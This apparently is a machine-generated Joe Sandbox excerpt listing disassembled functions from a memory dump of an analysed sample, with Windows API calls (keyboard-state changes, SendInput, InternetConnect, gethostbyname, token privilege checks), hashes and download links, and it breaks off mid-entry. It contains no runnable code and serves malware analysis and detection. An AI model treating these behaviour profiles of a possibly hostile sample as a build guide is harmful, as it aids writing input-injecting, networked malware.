CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 0034BF58

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: bbf8f18a835a2118fe87f4014a7ec23079d60e5ba22244917b90ae5a3b231ff2
Instruction ID: b23eb3e6c4714e230efb0e714975baf0a2a363a3601bb5a3ba49f89986b683bc
Opcode Fuzzy Hash: bbf8f18a835a2118fe87f4014a7ec23079d60e5ba22244917b90ae5a3b231ff2
Instruction Fuzzy Hash: 00413A39600A50DFCB12EF15C885A59BBE5EF89324B59C498E8499F362CB30FD52CF91

Function 00368E76 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00368F03

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 995c6a859686cddc7628ae32f542da608569377b0c538037701372d2a14a2740
Instruction ID: 835ba6ac02afea40d229f0bea782de8f91677f72b49d210d7959f988384f576f
Opcode Fuzzy Hash: 995c6a859686cddc7628ae32f542da608569377b0c538037701372d2a14a2740
Instruction Fuzzy Hash: C831E330644108EEEF278B54EC89BA837AAEB0E320F14C601FA55DA1E4CFB1D9908A51

Function 0036B1A9 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0036B1D2
GetWindowRect.USER32(?,?), ref: 0036B248
PtInRect.USER32(?,?,0036C6BC), ref: 0036B258
MessageBeep.USER32(00000000), ref: 0036B2C9

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: eba812d707b6d079984dcc8ce50402773f719bec9ecbe7a023778b5d4a4b63f7
Instruction ID: 35a51edcbd28f5a84ca40d15363df17f0a4abf3b638d572e11c8f9a0bf236aa2
Opcode Fuzzy Hash: eba812d707b6d079984dcc8ce50402773f719bec9ecbe7a023778b5d4a4b63f7
Instruction Fuzzy Hash: F6419130604114DFCB23DF59C8A4A9DB7F9FF4A710F1588A9E428DB258D330A881CF50

Function 003412D5 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00341326
SetKeyboardState.USER32(00000080,?,00000001), ref: 00341342
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 003413A8
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 003413FA

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: d0494f553d84687393436b5a372cca6d7824129b8fa4a37120428d57f80718e3
Instruction ID: cd3014f1363abc0a4e915e2c4bfa2913bf7a65d4ab6e3d6698e91c80143cc706
Opcode Fuzzy Hash: d0494f553d84687393436b5a372cca6d7824129b8fa4a37120428d57f80718e3
Instruction Fuzzy Hash: D7313934A44A08AEFB37CF258805BFE7BE9AB45320F04821AE4945EAD1D374ADC19B51

Function 00341410 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00341465
SetKeyboardState.USER32(00000080,?,00008000), ref: 00341481
PostMessageW.USER32(00000000,00000101,00000000), ref: 003414E0
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00341532

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: c62dedf0260668709f52cf314b32ce4575e7278775781796dfd771a7dc0aa75c
Instruction ID: 7910c9da37c7688fe573fefc99d14ae79133a92c64bacec61c6b1082367f0495
Opcode Fuzzy Hash: c62dedf0260668709f52cf314b32ce4575e7278775781796dfd771a7dc0aa75c
Instruction Fuzzy Hash: 1A316230940B089EFF378A668C047FABBF9AB85320F05435AE4855E2D1C374A9C1CB61

Function 003163F5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0031642B
__isleadbyte_l.LIBCMT ref: 00316459
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00316487
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 003164BD

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 0108412db8d73dfa9af665d6a8979cb4d2af594739fb8dc926da841345269ad6
Instruction ID: 6286dac54a8e526c25da3bf6ea862c32e4a9d6d5718d7af6676ae68a823d9a91
Opcode Fuzzy Hash: 0108412db8d73dfa9af665d6a8979cb4d2af594739fb8dc926da841345269ad6
Instruction Fuzzy Hash: 3131D431601255AFDB2A8FA6CC46BFA7BA9FF48320F164028E85487191DF31E890D790

Function 0036552B Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0036553F

Part of subcall function 00343B34: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00343B4E
Part of subcall function 00343B34: GetCurrentThreadId.KERNEL32 ref: 00343B55
Part of subcall function 00343B34: AttachThreadInput.USER32(00000000,?,003455C0), ref: 00343B5C

GetCaretPos.USER32(?), ref: 00365550
ClientToScreen.USER32(00000000,?), ref: 0036558B
GetForegroundWindow.USER32 ref: 00365591

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 057d750bf33779c2fbcdd74616717cc0e0edd40bfa6a2226b17c5fd7268177f3
Instruction ID: 684a25060f2d3638da41c1b243f01c966a42a6b129e5dbe726192eda5b5a3434
Opcode Fuzzy Hash: 057d750bf33779c2fbcdd74616717cc0e0edd40bfa6a2226b17c5fd7268177f3
Instruction Fuzzy Hash: B2314D71900148AFDB15EFB6CC859EEB7FDEF98304F50406AE405E7201EA71AE408FA0

Function 0036CB40 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002E29E2: GetWindowLongW.USER32(?,000000EB), ref: 002E29F3

GetCursorPos.USER32(?), ref: 0036CB7A
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0031BCEC,?,?,?,?,?), ref: 0036CB8F
GetCursorPos.USER32(?), ref: 0036CBDC
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0031BCEC,?,?,?), ref: 0036CC16

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 1fd627fa411f9b53c099c9446da383b682e5902e6f1bde69a4dfd8b1a2df9950
Instruction ID: 33b8b9b0905cbd73296390b4bac3dfab2f4fa8f191301cfc9c2454915b9ed003
Opcode Fuzzy Hash: 1fd627fa411f9b53c099c9446da383b682e5902e6f1bde69a4dfd8b1a2df9950
Instruction Fuzzy Hash: 0F31D234610058EFCB268F95CC89EFE7BB9EB4A320F048099F94997261C3355D50EFA0

Function 00300BC0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00300BE2

Part of subcall function 002F402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00347E51,?,?,00000000), ref: 002F4041
Part of subcall function 002F402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00347E51,?,?,00000000,?,?), ref: 002F4065

_fprintf.LIBCMT ref: 00300C19
OutputDebugStringW.KERNEL32(?), ref: 0033694C

Part of subcall function 00304CCA: _flsall.LIBCMT ref: 00304CE3

__setmode.LIBCMT ref: 00300C4E

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 0994026b589ce6eeb6d9ee3e68db10e05552f4424e2bfdb21ad160eac38fbe64
Instruction ID: 23134fdb01ae93036f78023e984c04dca1ff053b636bd451928a6f4370b4d524
Opcode Fuzzy Hash: 0994026b589ce6eeb6d9ee3e68db10e05552f4424e2bfdb21ad160eac38fbe64
Instruction Fuzzy Hash: 5F1127719061087ED71AB7A4AC93ABEB76D9F41321F104129F3049E1C2DF611E5247A1

Function 00339274 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00338D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00338D3F
Part of subcall function 00338D28: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00338D49
Part of subcall function 00338D28: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00338D58
Part of subcall function 00338D28: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00338D5F
Part of subcall function 00338D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00338D75

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 003392C1
_memcmp.LIBCMT ref: 003392E4
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0033931A
HeapFree.KERNEL32(00000000), ref: 00339321

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 85c9b501b1d4e841e750db0902d515c9495b3eceeaad8593bc71ba3c7527d114
Instruction ID: e622e0052261e2ff33f7edd61da915791e197aa2347751c4dd72e708d425976d
Opcode Fuzzy Hash: 85c9b501b1d4e841e750db0902d515c9495b3eceeaad8593bc71ba3c7527d114
Instruction Fuzzy Hash: E321B072E40108EFDB25DFA4C985BEEB7B8FF44311F05405AE895AB290D7B1AE44CB91

Function 00351E33 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00351E6F

Part of subcall function 00351EF9: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00351F18
Part of subcall function 00351EF9: InternetCloseHandle.WININET(00000000), ref: 00351FB5

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: e3e331b458a21973c659ecd76f73dbbf991fb9b60898c534ece38754e25fe1d4
Instruction ID: f7ee5feefcfed271a3ba6e721c0585e2c28ad20f85145111a6cf753e0cfc4780
Opcode Fuzzy Hash: e3e331b458a21973c659ecd76f73dbbf991fb9b60898c534ece38754e25fe1d4
Instruction Fuzzy Hash: 5821A435200605BFDB179F60CC02F7BB7AEFF44702F104519FD4596660DB71A8159B90

Function 0036634E Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 003663BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 003663D7
SetWindowLongW.USER32(?,000000EC,00000000), ref: 003663E5
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 003663F3

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: af329db9cbbcf20ebb8d112044f66fd50cef98eee8196b0c6d061b8f56787c17
Instruction ID: 9b201592057dff5044f83ffb0ff73138c736b222e7c5444088eeccc6028c1ae3
Opcode Fuzzy Hash: af329db9cbbcf20ebb8d112044f66fd50cef98eee8196b0c6d061b8f56787c17
Instruction Fuzzy Hash: BE11B135355514AFD716AB24CC45FBA77ADEF85360F248118F91ACB2E2CBA0AD40CB94

Function 0033E45A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033F858: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,0033E46F,?,?,?,0033F262,00000000,000000EF,00000119,?,?), ref: 0033F867
Part of subcall function 0033F858: lstrcpyW.KERNEL32(00000000,?), ref: 0033F88D
Part of subcall function 0033F858: lstrcmpiW.KERNEL32(00000000,?,0033E46F,?,?,?,0033F262,00000000,000000EF,00000119,?,?), ref: 0033F8BE

lstrlenW.KERNEL32(?,00000002,?,?,?,?,0033F262,00000000,000000EF,00000119,?,?,00000000), ref: 0033E488
lstrcpyW.KERNEL32(00000000,?), ref: 0033E4AE
lstrcmpiW.KERNEL32(00000002,cdecl,?,0033F262,00000000,000000EF,00000119,?,?,00000000), ref: 0033E4E2

Strings

cdecl, xrefs: 0033E4D9

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 2cb849f2d03ece14891eb1942222f88def72d01f352331eafe1d9cd7d1ead94d
Instruction ID: f9ea42fcf840948a74d90435ea6d8139b593ba69da08fd4698dfe89d565714a2
Opcode Fuzzy Hash: 2cb849f2d03ece14891eb1942222f88def72d01f352331eafe1d9cd7d1ead94d
Instruction Fuzzy Hash: ED11817A100345EFDB26AF24DC85D7A77A9FF45350F81402AF80ACB2A0EB71D950C791

Function 00315312 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00315331

Part of subcall function 0030593C: __FF_MSGBANNER.LIBCMT ref: 00305953
Part of subcall function 0030593C: __NMSG_WRITE.LIBCMT ref: 0030595A
Part of subcall function 0030593C: RtlAllocateHeap.NTDLL(01350000,00000000,00000001,?,00000004,?,?,00301003,?), ref: 0030597F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: d86b1e61a9dc029089d85341f286ccc8424868ab13c14998b3ba588042e6fb6c
Instruction ID: ec85aff892b9a76249a3bff2c009124d4dc921dd7debd2e557e3799d705d30d3
Opcode Fuzzy Hash: d86b1e61a9dc029089d85341f286ccc8424868ab13c14998b3ba588042e6fb6c
Instruction Fuzzy Hash: 65118236506A15EFCB3B2F70AC1579A36989F593A0F114E2AF8689F1E0DE7489809790

Function 00344365 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00344385
_memset.LIBCMT ref: 003443A6
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 003443F8
CloseHandle.KERNEL32(00000000), ref: 00344401

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: e7f388b01ddb49677b9d4bd2562809edb36aa3fa68f180e31eeb5a32dc569c46
Instruction ID: 312fe721a0b750fd11987ab5302c42e880a749b633bae982dd1225beca0f6229
Opcode Fuzzy Hash: e7f388b01ddb49677b9d4bd2562809edb36aa3fa68f180e31eeb5a32dc569c46
Instruction Fuzzy Hash: 64110D75901228BAD7319BA5AC4DFEBBBBCEF44720F0045AAF908D7180D2704E80CBA4

Function 00356A54 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 002F402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00347E51,?,?,00000000), ref: 002F4041
Part of subcall function 002F402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00347E51,?,?,00000000,?,?), ref: 002F4065

gethostbyname.WSOCK32(?,?,?), ref: 00356A84
WSAGetLastError.WSOCK32(00000000), ref: 00356A8F
_memmove.LIBCMT ref: 00356ABC
inet_ntoa.WSOCK32(?), ref: 00356AC7

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 829aff3463a47c4c7db999d411db46640bcd7950f8295c85d0b79da6202dcd84
Instruction ID: 98d2973faa677231da848c7ab7cd27bfa1ef98ba9082fe7a737ed4e0e7bcb728
Opcode Fuzzy Hash: 829aff3463a47c4c7db999d411db46640bcd7950f8295c85d0b79da6202dcd84
Instruction Fuzzy Hash: 09115176910108EFCB15FBA4CD86CAEB7B8AF04311B544065FA06A72A1DF709E14DB92

Function 002E166C Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 002E29E2: GetWindowLongW.USER32(?,000000EB), ref: 002E29F3

DefDlgProcW.USER32(?,00000020,?), ref: 002E16B4
GetClientRect.USER32(?,?), ref: 0031B93C
GetCursorPos.USER32(?), ref: 0031B946
ScreenToClient.USER32(?,?), ref: 0031B951

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: fdc823332f35829d20a17a5d04b6b06a57e670184f71c1f0f050f06f11a5d9fe
